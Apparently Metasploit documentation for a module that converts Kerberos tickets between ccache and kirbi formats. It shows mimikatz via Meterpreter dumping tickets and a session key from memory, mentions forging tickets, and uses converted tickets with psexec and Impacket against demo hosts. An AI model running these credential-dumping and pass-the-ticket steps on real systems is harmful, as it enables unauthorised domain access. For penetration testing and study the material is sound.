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Converting Kerberos Tickets

The auxiliary/admin/kerberos/ticket_converter module is used to convert from a ccache file format to the kirbi file format and vice versa. The main reason you may want to convert between these file types is for use in different tools. For example mimikatz will create tickets for you in the kirbi format but to use that in another tool like Metasploit or Impacket you need to convert it to the ccache format first.

Acquiring tickets

Kerberos tickets can be acquired from multiple sources. For instance:

• Retrieved directly from the KDC with the get_ticket module

• Forged using the forge_ticket module after compromising the krbtgt or a service account's encryption keys

• Extracted from memory using Meterpreter and mimikatz:

meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( [email protected] )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.

meterpreter > kiwi_cmd "sekurlsa::tickets /export"

Authentication Id : 0 ; 1393218 (00000000:00154242)
Session           : Network from 0
User Name         : DC3$
Domain            : DEMO
Logon Server      : (null)
Logon Time        : 1/12/2023 9:11:00 PM
SID               : S-1-5-18

	 * Username : DC3$
	 * Domain   : DEMO.LOCAL
	 * Password : (null)

	Group 0 - Ticket Granting Service

	Group 1 - Client Ticket ?
	 [00000000]
	   Start/End/MaxRenew: 1/12/2023 7:41:41 PM ; 1/13/2023 5:37:45 AM ; 1/1/1601 12:00:00 AM
	   Service Name (02) : LDAP ; DC3 ; @ DEMO.LOCAL
	   Target Name  (--) : @ DEMO.LOCAL
	   Client Name  (01) : DC3$ ; @ DEMO.LOCAL
	   Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
	   Session Key       : 0x00000012 - aes256_hmac
	     ab64d555f18de6a3262d921e6dc75dcf884852f551db3114f7983dbaf276e1d6
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 7	[...]
====================
Base64 of file : [0;154242][email protected]
====================
doQAAAYXMIQAAAYRoIQAAAADAgEFoYQAAAADAgEWooQAAAS2MIQAAASwYYQAAASq
MIQAAASkoIQAAAADAgEFoYQAAAAMGwpBREYzLkxPQ0FMooQAAAAmMIQAAAAgoIQA
AAADAgECoYQAAAARMIQAAAALGwRMREFQGwNEQzOjhAAABFcwhAAABFGghAAAAAMC
... etc...
====================

Note that tools often Base64 encode the Kirbi content to display to the user. However the inspect_ticket module expects the input file to be in binary format. To convert base64 strings to binary files:

# Linux
cat ticket.b64 | base64 -d > ticket.kirbi

# Mac
cat ticket.b64 | base64 -D > ticket.kirbi

# Powershell
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))

Module usage

1. Start msfconsole

2. Do: use auxiliary/admin/kerberos/ticket_converter

3. Do: set InputPath /path/to/ccache/or/kirbi/file

4. Do: set OutputPath /path/to/save/your/converted/file

5. Do: run

6. You should see output similar to:

   Copy

   [*] [2022.12.16-12:52:56] Converting from ccache to kirbi
   [*] [2022.12.16-12:52:56] File written to <OutputPath>
   [*] Auxiliary module execution completed
   

7. Your converted ticket which will have been stored at OutputPath

8. Example usage in Metasploit:

   Copy

   use windows/smb/psexec
   run rhost=192.168.123.13 username=Administrator domaincontrollerrhost=192.168.123.1 smb::auth=kerberos smb::rhostname=host.demo.local smbdomain=demo.local smbkrb5ccname=/path/to/ccache/ticket 
   

9. Example usage in impacket:

   Copy

   export KRB5CCNAME=/path/to/ccache/ticket
   python3 mssqlclient.py DW.LOCAL/fake_mysql@dc1.dw.local -k -no-pass
   

10. You may use the inspect_ticket module to prints the contents of the ccache/kirbi file: use auxiliary/admin/kerberos/inspect_ticket

Scenarios

You have a ccache file

If you have a ccache file, for example by forging it using the auxiliary/admin/kerberos/forge_ticket module, but need a file in the kirbi format which is commonly used by mimikatz.

Set the InputPath to the location of your ccache file, specify your desired output location with OutputPath and run. Metasploit will automatically detect the file type so there's no need to tell msfconsole whether it's a ccache or kirbi file.

Example:

msf6 auxiliary(admin/kerberos/ticket_converter) > run inputpath=metasploit_ticket.ccache outputpath=metasploit_ticket.kirbi

[*] [2023.01.05-17:01:02] Converting from ccache to kirbi
[*] [2023.01.05-17:01:02] File written to /Users/dwelch/dev/metasploit-framework/metasploit_ticket.kirbi
[*] Auxiliary module execution completed

You have a kirbi file

The other scenario is if you have a kirbi file, for example tools such as mimikatz will give you tickets in the kirbi format, and you need a ccache for use with another tool such as Metasploit and Impacket.

The steps are exactly the same for a kirbi file as they are for a ccache as Metasploit will automatically detect the input file type.

Set the InputPath to the location of your ccache file, specify your desired output location with OutputPath and run. Metasploit will automatically detect the file type so there's no need to tell msfconsole whether it's a ccache or kirbi file.

Example:

msf6 auxiliary(admin/kerberos/ticket_converter) > run inputpath=metasploit_ticket.kirbi outputpath=metasploit_ticket.ccache

[*] [2023.01.05-17:01:39] Converting from kirbi to ccache
[*] [2023.01.05-17:01:39] File written to /Users/dwelch/dev/metasploit-framework/metasploit_ticket.ccache
[*] Auxiliary module execution completed